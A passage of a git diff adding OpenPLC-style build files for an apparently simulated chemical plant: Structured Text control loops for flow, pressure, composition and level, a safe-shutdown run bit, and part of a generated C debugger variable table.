MUL87_OUT := MUL(SUB86_OUT, override_k); + MAX84_OUT := MAX(MUL87_OUT, 0.0); + sp_update := MAX84_OUT; + scale_to_real0(raw_input_value := curr_sp, real_max := flow_max, real_min := flow_min); + curr_sp_real := scale_to_real0.scaled_real; + ADD85_OUT := ADD(curr_sp_real, sp_update); + LIMIT67_OUT := LIMIT(50.0, ADD85_OUT, 150.0); + product_sp_real := LIMIT67_OUT; + DIV73_OUT := DIV(product_sp_real, 500.0); + MUL75_OUT := MUL(DIV73_OUT, 65535.0); + REAL_TO_UINT79_OUT := REAL_TO_UINT(MUL75_OUT); + product_sp := REAL_TO_UINT79_OUT; +END_FUNCTION_BLOCK + +PROGRAM main + VAR + flow_control0 : flow_control; + first_run : BOOL := True; + END_VAR + VAR + flow_set AT %MW0 : UINT; + a_setpoint AT %MW1 : UINT; + pressure_sp AT %MW2 : UINT; + override_sp AT %MW3 : UINT; + level_sp AT %MW4 : UINT; + END_VAR + VAR + composition_control0 : composition_control; + END_VAR + VAR + f1_valve_pos AT %IW0 : UINT; + f1_flow AT %IW1 : UINT; + f2_valve_pos AT %IW2 : UINT; + f2_flow AT %IW3 : UINT; + purge_valve_pos AT %IW4 : UINT; + purge_flow AT %IW5 : UINT; + product_valve_pos AT %IW6 : UINT; + product_flow AT %IW7 : UINT; + pressure AT %IW8 : UINT; + level AT %IW9 : UINT; + a_in_purge AT %IW10 : UINT; + b_in_purge AT %IW11 : UINT; + c_in_purge AT %IW12 : UINT; + f1_valve_sp AT %QW0 : UINT; + f2_valve_sp AT %QW1 : UINT; + purge_valve_sp AT %QW2 : UINT; + product_valve_sp AT %QW3 : UINT; + END_VAR + VAR + product_valve_safe : UINT := 0; + purge_valve_safe : UINT := 65535; + f1_valve_safe : UINT; + f2_valve_safe : UINT; + pressure_control0 : pressure_control; + END_VAR + VAR + hmi_pressure AT %MW20 : INT; + hmi_level AT %MW21 : INT; + hmi_f1_valve_pos AT %MW22 : INT; + hmi_f1_flow AT %MW23 : INT; + hmi_f2_valve_pos AT %MW24 : INT; + hmi_f2_flow AT %MW25 : INT; + hmi_purge_valve_pos AT %MW26 : INT; + hmi_purge_flow AT %MW27 : INT; + hmi_product_valve_pos AT %MW28 : INT; + hmi_product_flow AT %MW29 : INT; + scan_count AT %MW30 : UINT; + END_VAR + VAR + pressure_override0 : pressure_override; + level_control0 : level_control; + END_VAR + VAR + run_bit AT %QX5.0 : BOOL; + END_VAR + VAR + run_bit0 : BOOL := True; + initialize_sp0 : initialize_sp; + MOVE99_ENO : BOOL; + MOVE99_OUT : UINT; + MOVE4_ENO : BOOL; + MOVE4_OUT : UINT; + MOVE5_ENO : BOOL; + MOVE5_OUT : UINT; + MOVE7_ENO : BOOL; + MOVE7_OUT : UINT; + END_VAR + + initialize_sp0(EN := first_run); + IF initialize_sp0.ENO THEN + first_run := FALSE; (*reset*) + END_IF; + IF initialize_sp0.ENO THEN + flow_set := initialize_sp0.flow_sp; + END_IF; + IF initialize_sp0.ENO THEN + a_setpoint := initialize_sp0.a_sp; + END_IF; + IF initialize_sp0.ENO THEN + pressure_sp := initialize_sp0.press_sp; + END_IF; + IF initialize_sp0.ENO THEN + override_sp := initialize_sp0.over_sp; + END_IF; + IF initialize_sp0.ENO THEN + level_sp := initialize_sp0.level_sp; + END_IF; + flow_control0(product_flow := product_flow, curr_pos := f1_valve_pos, flow_set_in := flow_set); + f1_valve_sp := flow_control0.new_pos; + pressure_control0(pressure := pressure, pressure_sp := pressure_sp, curr_pos := purge_valve_pos); + purge_valve_sp := pressure_control0.valve_pos; + composition_control0(a_in_purge := a_in_purge, a_setpoint := a_setpoint, curr_pos := f2_valve_pos); + f2_valve_sp := composition_control0.new_pos; + pressure_override0(pressure := pressure, curr_sp := flow_set, override_sp := override_sp); + flow_set := pressure_override0.product_sp; + level_control0(liquid_level := level, level_sp := level_sp, curr_pos := product_valve_pos); + product_valve_sp := level_control0.new_pos; + MOVE99_OUT := MOVE(EN := run_bit, IN := 0, ENO => MOVE99_ENO); + IF MOVE99_ENO THEN + f1_valve_sp := MOVE99_OUT; + END_IF; + MOVE4_OUT := MOVE(EN := MOVE99_ENO, IN := 0, ENO => MOVE4_ENO); + IF MOVE4_ENO THEN + f2_valve_sp := MOVE4_OUT; + END_IF; + MOVE5_OUT := MOVE(EN := MOVE4_ENO, IN := 65535, ENO => MOVE5_ENO); + IF MOVE5_ENO THEN + purge_valve_sp := MOVE5_OUT; + END_IF; + MOVE7_OUT := MOVE(EN := MOVE5_ENO, IN := 65535, ENO => MOVE7_ENO); + IF MOVE7_ENO THEN + product_valve_sp := MOVE7_OUT; + END_IF; +END_PROGRAM + + +CONFIGURATION Config0 + + RESOURCE Res0 ON PLC + TASK MainTask(INTERVAL := T#50ms,PRIORITY := 0); + PROGRAM instance0 WITH MainTask : main; + END_RESOURCE +END_CONFIGURATION diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/lastbuildPLC.md5 b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/lastbuildPLC.md5 new file mode 100644 index 0000000..696d5fd --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/lastbuildPLC.md5 @@ -0,0 +1 @@ +81603cc6aa5246c5832cb83ffc8de1bd \ No newline at end of file diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/plc.st b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/plc.st new file mode 100644 index 0000000..a0d6f59 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/plc.st @@ -0,0 +1,573 @@ +TYPE + LOGLEVEL : (CRITICAL, WARNING, INFO, DEBUG) := INFO; +END_TYPE + +FUNCTION_BLOCK LOGGER + VAR_INPUT + TRIG : BOOL; + MSG : STRING; + LEVEL : LOGLEVEL := INFO; + END_VAR + VAR + TRIG0 : BOOL; + END_VAR + + IF TRIG AND NOT TRIG0 THEN + {{ + LogMessage(GetFbVar(LEVEL),(char*)GetFbVar(MSG, .body),GetFbVar(MSG, .len)); + }} + END_IF; + TRIG0:=TRIG; +END_FUNCTION_BLOCK + + + +FUNCTION_BLOCK python_eval + VAR_INPUT + TRIG : BOOL; + CODE : STRING; + END_VAR + VAR_OUTPUT + ACK : BOOL; + RESULT : STRING; + END_VAR + VAR + STATE : DWORD; + BUFFER : STRING; + PREBUFFER : STRING; + TRIGM1 : BOOL; + TRIGGED : BOOL; + END_VAR + + {extern void __PythonEvalFB(int, PYTHON_EVAL*);__PythonEvalFB(0, data__);} +END_FUNCTION_BLOCK + +FUNCTION_BLOCK python_poll + VAR_INPUT + TRIG : BOOL; + CODE : STRING; + END_VAR + VAR_OUTPUT + ACK : BOOL; + RESULT : STRING; + END_VAR + VAR + STATE : DWORD; + BUFFER : STRING; + PREBUFFER : STRING; + TRIGM1 : BOOL; + TRIGGED : BOOL; + END_VAR + + {extern void __PythonEvalFB(int, PYTHON_EVAL*);__PythonEvalFB(1,(PYTHON_EVAL*)(void*)data__);} +END_FUNCTION_BLOCK + +FUNCTION_BLOCK python_gear + VAR_INPUT + N : UINT; + TRIG : BOOL; + CODE : STRING; + END_VAR + VAR_OUTPUT + ACK : BOOL; + RESULT : STRING; + END_VAR + VAR + py_eval : python_eval; + COUNTER : UINT; + ADD10_OUT : UINT; + EQ13_OUT : BOOL; + SEL15_OUT : UINT; + AND7_OUT : BOOL; + END_VAR + + ADD10_OUT := ADD(COUNTER, 1); + EQ13_OUT := EQ(N, ADD10_OUT); + SEL15_OUT := SEL(EQ13_OUT, ADD10_OUT, 0); + COUNTER := SEL15_OUT; + AND7_OUT := AND(EQ13_OUT, TRIG); + py_eval(TRIG := AND7_OUT, CODE := CODE); + ACK := py_eval.ACK; + RESULT := py_eval.RESULT; +END_FUNCTION_BLOCK + + +FUNCTION_BLOCK scale_to_real + VAR_INPUT + raw_input_value : UINT; + END_VAR + VAR_OUTPUT + scaled_real : REAL; + END_VAR + VAR_INPUT + real_max : REAL; + real_min : REAL; + END_VAR + VAR + raw_max : UINT := 65535; + raw_min : UINT := 0; + rate : REAL; + offset : REAL; + END_VAR + + rate := (real_max - real_min) / UINT_TO_REAL(raw_max - raw_min); + offset := real_min - UINT_TO_REAL(raw_min)*rate; + scaled_real := UINT_TO_REAL(raw_input_value)*rate + offset; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_uint + VAR_INPUT + real_in : REAL; + END_VAR + VAR_OUTPUT + uint_out : UINT; + END_VAR + VAR + DIV1_OUT : REAL; + MUL4_OUT : REAL; + REAL_TO_UINT6_OUT : UINT; + END_VAR + + DIV1_OUT := DIV(real_in, 100.0); + MUL4_OUT := MUL(DIV1_OUT, 65535.0); + REAL_TO_UINT6_OUT := REAL_TO_UINT(MUL4_OUT); + uint_out := REAL_TO_UINT6_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK composition_control + VAR + a_in_purge_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_in_purge : UINT := 32000; + END_VAR + VAR + a_setpoint_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_setpoint : UINT := 32000; + curr_pos : UINT := 16000; + END_VAR + VAR + valve_pos_real : REAL := 25.0; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 25.0; + END_VAR + VAR_OUTPUT + new_pos : UINT := 16000; + END_VAR + VAR + composition_k : REAL := 1.0; + composition_ti : REAL := 99.0; + cycle_time : TIME := T#50ms; + scale_to_real3 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + comp_max : REAL := 100.0; + comp_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB45_OUT : REAL; + MUL46_OUT : REAL; + ADD42_OUT : REAL; + LIMIT44_OUT : REAL; + END_VAR + + scale_to_real3(raw_input_value := a_in_purge, real_max := comp_max, real_min := comp_min); + a_in_purge_real := scale_to_real3.scaled_real; + scale_to_real2(raw_input_value := a_setpoint, real_max := comp_max, real_min := comp_min); + a_setpoint_real := scale_to_real2.scaled_real; + SUB45_OUT := SUB(a_setpoint_real, a_in_purge_real); + MUL46_OUT := MUL(SUB45_OUT, composition_k); + pos_update_real := MUL46_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + ADD42_OUT := ADD(valve_pos_real, pos_update_real); + LIMIT44_OUT := LIMIT(pos_min, ADD42_OUT, pos_max); + scale_to_uint0(real_in := LIMIT44_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK initialize_sp + VAR CONSTANT + flow_sp_c : UINT := 13107; + a_sp_c : UINT := 30801; + press_sp_c : UINT := 55295; + over_sp_c : UINT := 31675; + level_sp_c : UINT := 28835; + END_VAR + VAR_OUTPUT + flow_sp : UINT; + a_sp : UINT; + press_sp : UINT; + over_sp : UINT; + level_sp : UINT; + END_VAR + VAR + MOVE3_OUT : UINT; + MOVE7_OUT : UINT; + MOVE11_OUT : UINT; + MOVE15_OUT : UINT; + MOVE19_OUT : UINT; + END_VAR + + MOVE3_OUT := MOVE(a_sp_c); + a_sp := MOVE3_OUT; + MOVE7_OUT := MOVE(flow_sp_c); + flow_sp := MOVE7_OUT; + MOVE11_OUT := MOVE(over_sp_c); + over_sp := MOVE11_OUT; + MOVE15_OUT := MOVE(level_sp_c); + level_sp := MOVE15_OUT; + MOVE19_OUT := MOVE(press_sp_c); + press_sp := MOVE19_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_control + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + END_VAR + VAR + pressure_sp_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure_sp : UINT := 58981; + curr_pos : UINT := 30000; + END_VAR + VAR + valve_pos_real : REAL := 39.25; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 39.25; + END_VAR + VAR_OUTPUT + valve_pos : UINT := 25886; + END_VAR + VAR + pressure_k : REAL := 20.0; + pressure_ti : REAL := 999.0; + cycle_time : TIME := T#50ms; + scale_to_real5 : scale_to_real; + scale_to_real4 : scale_to_real; + scale_to_uint0 : scale_to_uint; + pressure_max : REAL := 3200.00; + pressure_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real0 : scale_to_real; + SUB57_OUT : REAL; + MUL60_OUT : REAL; + SUB53_OUT : REAL; + LIMIT55_OUT : REAL; + END_VAR + + scale_to_real5(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real5.scaled_real; + scale_to_real4(raw_input_value := pressure_sp, real_max := pressure_max, real_min := pressure_min); + pressure_sp_real := scale_to_real4.scaled_real; + SUB57_OUT := SUB(pressure_sp_real, pressure_real); + MUL60_OUT := MUL(SUB57_OUT, pressure_k); + pos_update_real := MUL60_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + SUB53_OUT := SUB(valve_pos_real, pos_update_real); + LIMIT55_OUT := LIMIT(pos_min, SUB53_OUT, pos_max); + scale_to_uint0(real_in := LIMIT55_OUT); + valve_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK flow_control + VAR + flow_k : REAL := 1.0; + flow_ti : REAL := 999.0; + flow_td : REAL := 0.0; + END_VAR + VAR_INPUT + product_flow : UINT := 6554; + END_VAR + VAR + product_flow_real : REAL := 100.0; + cycle_time : TIME := T#50ms; + pos_update_real : REAL := 0.0; + curr_pos_real : REAL := 60.9; + END_VAR + VAR_OUTPUT + new_pos : UINT := 35000; + END_VAR + VAR_INPUT + curr_pos : UINT := 35000; + END_VAR + VAR + flow_set_real : REAL := 100.0; + END_VAR + VAR_INPUT + flow_set_in : UINT := 6554; + END_VAR + VAR + scale_to_real0 : scale_to_real; + scale_to_real1 : scale_to_real; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB59_OUT : REAL; + MUL60_OUT : REAL; + ADD58_OUT : REAL; + LIMIT40_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := product_flow, real_max := flow_max, real_min := flow_min); + product_flow_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := flow_set_in, real_max := flow_max, real_min := flow_min); + flow_set_real := scale_to_real1.scaled_real; + SUB59_OUT := SUB(flow_set_real, product_flow_real); + MUL60_OUT := MUL(SUB59_OUT, flow_k); + pos_update_real := MUL60_OUT; + scale_to_real2(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + curr_pos_real := scale_to_real2.scaled_real; + ADD58_OUT := ADD(curr_pos_real, pos_update_real); + LIMIT40_OUT := LIMIT(pos_min, ADD58_OUT, pos_max); + scale_to_uint0(real_in := LIMIT40_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK level_control + VAR_INPUT + liquid_level : UINT; + level_sp : UINT := 30000; + curr_pos : UINT; + END_VAR + VAR_OUTPUT + new_pos : UINT; + END_VAR + VAR + cycle_time : TIME := T#50ms; + level_k : REAL := 10.0; + level_ti : REAL := 99999.0; + scale_to_real0 : scale_to_real; + level_max : REAL := 100.0; + level_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + level_real : REAL := 44.18; + pos_real : REAL := 47.0; + pos_update_real : REAL := 0.0; + sp_real : REAL := 44.18; + scale_to_real1 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB32_OUT : REAL; + MUL33_OUT : REAL; + SUB30_OUT : REAL; + LIMIT25_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := liquid_level, real_max := level_max, real_min := level_min); + level_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + pos_real := scale_to_real1.scaled_real; + scale_to_real2(raw_input_value := level_sp, real_max := level_max, real_min := level_min); + sp_real := scale_to_real2.scaled_real; + SUB32_OUT := SUB(sp_real, level_real); + MUL33_OUT := MUL(SUB32_OUT, level_k); + pos_update_real := MUL33_OUT; + SUB30_OUT := SUB(pos_real, pos_update_real); + LIMIT25_OUT := LIMIT(pos_min, SUB30_OUT, pos_max); + scale_to_uint0(real_in := LIMIT25_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_override + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + curr_sp : UINT := 58981; + END_VAR + VAR + curr_sp_real : REAL := 2700.0; + product_sp_real : REAL := 100.0; + sp_update : REAL := 0.0; + product_sp_nominl : REAL := 100.0; + END_VAR + VAR_OUTPUT + product_sp : UINT := 13107; + END_VAR + VAR + override_sp_real : REAL := 2900.0; + END_VAR + VAR_INPUT + override_sp : UINT := 63350; + END_VAR + VAR + override_k : REAL := 1.0; + override_ti : REAL := 99999.0; + cycle_time : TIME := T#50ms; + scale_to_real7 : scale_to_real; + pressure_max : REAL := 3000.0; + pressure_min : REAL := 0.0; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB86_OUT : REAL; + MUL87_OUT : REAL; + MAX84_OUT : REAL; + ADD85_OUT : REAL; + LIMIT67_OUT : REAL; + DIV73_OUT : REAL; + MUL75_OUT : REAL; + REAL_TO_UINT79_OUT : UINT; + END_VAR + + scale_to_real7(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real7.scaled_real; + SUB86_OUT := SUB(override_sp_real, pressure_real); + MUL87_OUT := MUL(SUB86_OUT, override_k); + MAX84_OUT := MAX(MUL87_OUT, 0.0); + sp_update := MAX84_OUT; + scale_to_real0(raw_input_value := curr_sp, real_max := flow_max, real_min := flow_min); + curr_sp_real := scale_to_real0.scaled_real; + ADD85_OUT := ADD(curr_sp_real, sp_update); + LIMIT67_OUT := LIMIT(50.0, ADD85_OUT, 150.0); + product_sp_real := LIMIT67_OUT; + DIV73_OUT := DIV(product_sp_real, 500.0); + MUL75_OUT := MUL(DIV73_OUT, 65535.0); + REAL_TO_UINT79_OUT := REAL_TO_UINT(MUL75_OUT); + product_sp := REAL_TO_UINT79_OUT; +END_FUNCTION_BLOCK + +PROGRAM main + VAR + flow_control0 : flow_control; + first_run : BOOL := True; + END_VAR + VAR + flow_set : UINT; + a_setpoint : UINT; + pressure_sp : UINT; + override_sp : UINT; + level_sp : UINT; + END_VAR + VAR + composition_control0 : composition_control; + END_VAR + VAR + f1_valve_pos : UINT; + f1_flow : UINT; + f2_valve_pos : UINT; + f2_flow : UINT; + purge_valve_pos : UINT; + purge_flow : UINT; + product_valve_pos : UINT; + product_flow : UINT; + pressure : UINT; + level : UINT; + a_in_purge : UINT; + b_in_purge : UINT; + c_in_purge : UINT; + f1_valve_sp : UINT; + f2_valve_sp : UINT; + purge_valve_sp : UINT; + product_valve_sp : UINT; + END_VAR + VAR + product_valve_safe : UINT := 0; + purge_valve_safe : UINT := 65535; + f1_valve_safe : UINT; + f2_valve_safe : UINT; + pressure_control0 : pressure_control; + END_VAR + VAR + hmi_pressure : INT; + hmi_level : INT; + hmi_f1_valve_pos : INT; + hmi_f1_flow : INT; + hmi_f2_valve_pos : INT; + hmi_f2_flow : INT; + hmi_purge_valve_pos : INT; + hmi_purge_flow : INT; + hmi_product_valve_pos : INT; + hmi_product_flow : INT; + scan_count : UINT; + END_VAR + VAR + pressure_override0 : pressure_override; + level_control0 : level_control; + END_VAR + VAR + run_bit : BOOL; + END_VAR + VAR + run_bit0 : BOOL := True; + initialize_sp0 : initialize_sp; + MOVE99_ENO : BOOL; + MOVE99_OUT : UINT; + MOVE4_ENO : BOOL; + MOVE4_OUT : UINT; + MOVE5_ENO : BOOL; + MOVE5_OUT : UINT; + MOVE7_ENO : BOOL; + MOVE7_OUT : UINT; + END_VAR + + initialize_sp0(EN := first_run); + IF initialize_sp0.ENO THEN + first_run := FALSE; (*reset*) + END_IF; + IF initialize_sp0.ENO THEN + flow_set := initialize_sp0.flow_sp; + END_IF; + IF initialize_sp0.ENO THEN + a_setpoint := initialize_sp0.a_sp; + END_IF; + IF initialize_sp0.ENO THEN + pressure_sp := initialize_sp0.press_sp; + END_IF; + IF initialize_sp0.ENO THEN + override_sp := initialize_sp0.over_sp; + END_IF; + IF initialize_sp0.ENO THEN + level_sp := initialize_sp0.level_sp; + END_IF; + flow_control0(product_flow := product_flow, curr_pos := f1_valve_pos, flow_set_in := flow_set); + f1_valve_sp := flow_control0.new_pos; + pressure_control0(pressure := pressure, pressure_sp := pressure_sp, curr_pos := purge_valve_pos); + purge_valve_sp := pressure_control0.valve_pos; + composition_control0(a_in_purge := a_in_purge, a_setpoint := a_setpoint, curr_pos := f2_valve_pos); + f2_valve_sp := composition_control0.new_pos; + pressure_override0(pressure := pressure, curr_sp := flow_set, override_sp := override_sp); + flow_set := pressure_override0.product_sp; + level_control0(liquid_level := level, level_sp := level_sp, curr_pos := product_valve_pos); + product_valve_sp := level_control0.new_pos; + MOVE99_OUT := MOVE(EN := run_bit, IN := 0, ENO => MOVE99_ENO); + IF MOVE99_ENO THEN + f1_valve_sp := MOVE99_OUT; + END_IF; + MOVE4_OUT := MOVE(EN := MOVE99_ENO, IN := 0, ENO => MOVE4_ENO); + IF MOVE4_ENO THEN + f2_valve_sp := MOVE4_OUT; + END_IF; + MOVE5_OUT := MOVE(EN := MOVE4_ENO, IN := 65535, ENO => MOVE5_ENO); + IF MOVE5_ENO THEN + purge_valve_sp := MOVE5_OUT; + END_IF; + MOVE7_OUT := MOVE(EN := MOVE5_ENO, IN := 65535, ENO => MOVE7_ENO); + IF MOVE7_ENO THEN + product_valve_sp := MOVE7_OUT; + END_IF; +END_PROGRAM + + +CONFIGURATION Config0 + + RESOURCE Res0 ON PLC + TASK MainTask(INTERVAL := T#50ms,PRIORITY := 0); + PROGRAM instance0 WITH MainTask : main; + END_RESOURCE +END_CONFIGURATION diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/plc_debugger.c b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/plc_debugger.c new file mode 100644 index 0000000..a53d9ea --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/plc_debugger.c @@ -0,0 +1,730 @@ +/* + * DEBUGGER code + * + * On "publish", when buffer is free, debugger stores arbitrary variables + * content into, and mark this buffer as filled + * + * + * Buffer content is read asynchronously, (from non real time part), + * and then buffer marked free again. + * + * + * */ +#ifdef TARGET_DEBUG_AND_RETAIN_DISABLE + +void __init_debug (void){} +void __cleanup_debug (void){} +void __retrieve_debug(void){} +void __publish_debug (void){} + +#else + +#include "iec_types_all.h" +#include "POUS.h" +/*for memcpy*/ +#include +#include + +#ifndef TARGET_ONLINE_DEBUG_DISABLE +#define BUFFER_SIZE 1029 + +/* Atomically accessed variable for buffer state */ +#define BUFFER_FREE 0 +#define BUFFER_BUSY 1 +static long buffer_state = BUFFER_FREE; + +/* The buffer itself */ +char debug_buffer[BUFFER_SIZE]; + +/* Buffer's cursor*/ +static char* buffer_cursor = debug_buffer; +#endif + +static unsigned int retain_offset = 0; +/*** + * Declare programs + **/ +extern MAIN RES0__INSTANCE0; + +/*** + * Declare global variables from resources and conf + **/ +extern MAIN RES0__INSTANCE0; + +typedef const struct { + void *ptr; + __IEC_types_enum type; +} dbgvardsc_t; + +static dbgvardsc_t dbgvardsc[] = { +{&(RES0__INSTANCE0.FLOW_CONTROL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_K), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_TI), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_TD), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.CYCLE_TIME), TIME_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.POS_UPDATE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.CURR_POS_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.NEW_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.CURR_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_SET_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_SET_IN), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.POS_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.POS_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_IN), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.UINT_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.DIV1_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.MUL4_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT), UINT_ENUM}, 